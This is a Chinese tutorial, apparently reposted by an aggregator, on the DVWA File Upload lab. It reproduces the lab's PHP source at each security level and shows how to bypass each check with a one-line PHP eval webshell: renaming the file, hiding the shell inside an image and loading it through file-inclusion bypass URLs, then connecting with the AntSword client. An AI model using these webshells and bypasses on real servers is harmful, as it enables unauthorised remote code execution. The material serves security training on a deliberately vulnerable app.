Security ❀ File Upload 文件上传

Posted 国家级干饭型选手°

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Security ❀ File Upload 文件上传相关的知识,希望对你有一定的参考价值。

准备工作


需要下载 蚁剑 进行测试
点击跳转下载所需工具

1、low


源码解析:

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // Can we move the file to the upload folder?
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
        // No
        echo '<pre>Your image was not uploaded.</pre>';
    }
    else {
        // Yes!
        echo "<pre>{$target_path} succesfully uploaded!</pre>";
    }
}

?>

源码无任何拦截,直接上传一句话木马即可;

 <?php eval($_POST['123']);?>

将一句话木马进行上传,然后点击[upload];

木马上传成功;

使用蚁剑进行连接测试,蚁剑初始化见准备工作内容链接,此处不再赘述;

连接URL为文件上传一句话木马路径,前缀位于浏览器,后缀位于文件上传回显,…/…/ 代表上一级目录,需要注意具体数量,防止目录错误;

测试连接是否成功;

测试成功后添加数据;

添加成功后可以跳转具体目录,可以使用管理员权限进行修改系统文件与目录;

打开终端CMD;

可以使用CMD进行具体操作;

2、medium


源码解析:

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information 定义上传文件信息
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

    // Is it an image? 规定文件后缀与文件大小
    if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
        ( $uploaded_size < 100000 ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?>

源码定义了上传文件后缀与大小,可以将一句话木马后缀修改为jpg或png,查看大小是否满足即可进行上传;

图片文件上传成功;

此处需要结合 第六章内容 进行关联蚁剑;
由于medium安全等级,文件包含路径限制了http:// https:// …/ …\\等四组跳转方式,因此URL修改为:http://127.0.0.1/dvwa/vulnerabilities/fi/?page=hthttp://tp://127.0.0.1/dvwa/hackable/uploads/2.png(参考第六章 medium等级)
通过Burpsuite抓包获取http请求cookie值;

将cookie配置到蚁剑
cookie:security=medium; PHPSESSID=q6vjv4329g7vv8rhpsoi7gk2a2

配置完成测试连接是否成功,剩余连接同第一节内容;

结果验证:

3、high


源码解析:

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information 定义上传文件信息
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Is it an image? 定义上传文件内容开头是否为图片数据
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
        ( $uploaded_size < 100000 ) &&
        getimagesize( $uploaded_tmp ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?>

将一句话木马融合到某个图片中

C:\\Users\\Administrator\\Desktop>copy 头像.jpg/b + 1.png /a  3.jpg

命令展示如下:

图片外观与原始图片一样,需要使用笔记本查看图片内是否携带一句话木马;

点击配置好的图片进行上传;

图片上传成功;

使用Burpsuite抓取对应cookie值;

将cookie值放入蚁剑;

配置对应连接URL与连接密码,并测试连接;
URL:http://127.0.0.1/dvwa/vulnerabilities/fi/?page=file://d://phpstudy_pro/WWW/DVWA//hackable/uploads/3.png(参考第六章 high等级)

结果验证:

4、impossible


源码解析:校验文件上传MD5值、并进行token验证、imagecreatefromjpeg函数重新生成图像审核内容;

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );


    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Where are we going to be writing to?
    $target_path   = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
    //$target_file   = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
    $target_file   =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
    $temp_file     = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
    $temp_file    .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
        ( $uploaded_size < 100000 ) &&
        ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
        getimagesize( $uploaded_tmp ) ) {

        // Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
        if( $uploaded_type == 'image/jpeg' ) {
            $img = imagecreatefromjpeg( $uploaded_tmp );
            imagejpeg( $img, $temp_file, 100);
        }
        else {
            $img = imagecreatefrompng( $uploaded_tmp );
            imagepng( $img, $temp_file, 9);
        }
        imagedestroy( $img );

        // Can we move the file to the web root from the temp folder?
        if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
            // Yes!
            echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
        }
        else {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }

        // Delete any temp files
        if( file_exists( $temp_file ) )
            unlink( $temp_file );
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>

以上是关于Security ❀ File Upload 文件上传的主要内容,如果未能解决你的问题,请参考以下文章

AngularJS 文件上传控件 ng-file-upload

如何使用angular-file-upload(nervgh / angular-file-upload)重新上传同一个文件两次

jQuery-File-Upload 无文件

jQuery-File-Upload - 仅显示以特定文件名开头的文件

jQuery-File-Upload 插件 - 无法删除文件夹

Jquery File Upload 总是失败,File Upload Aborted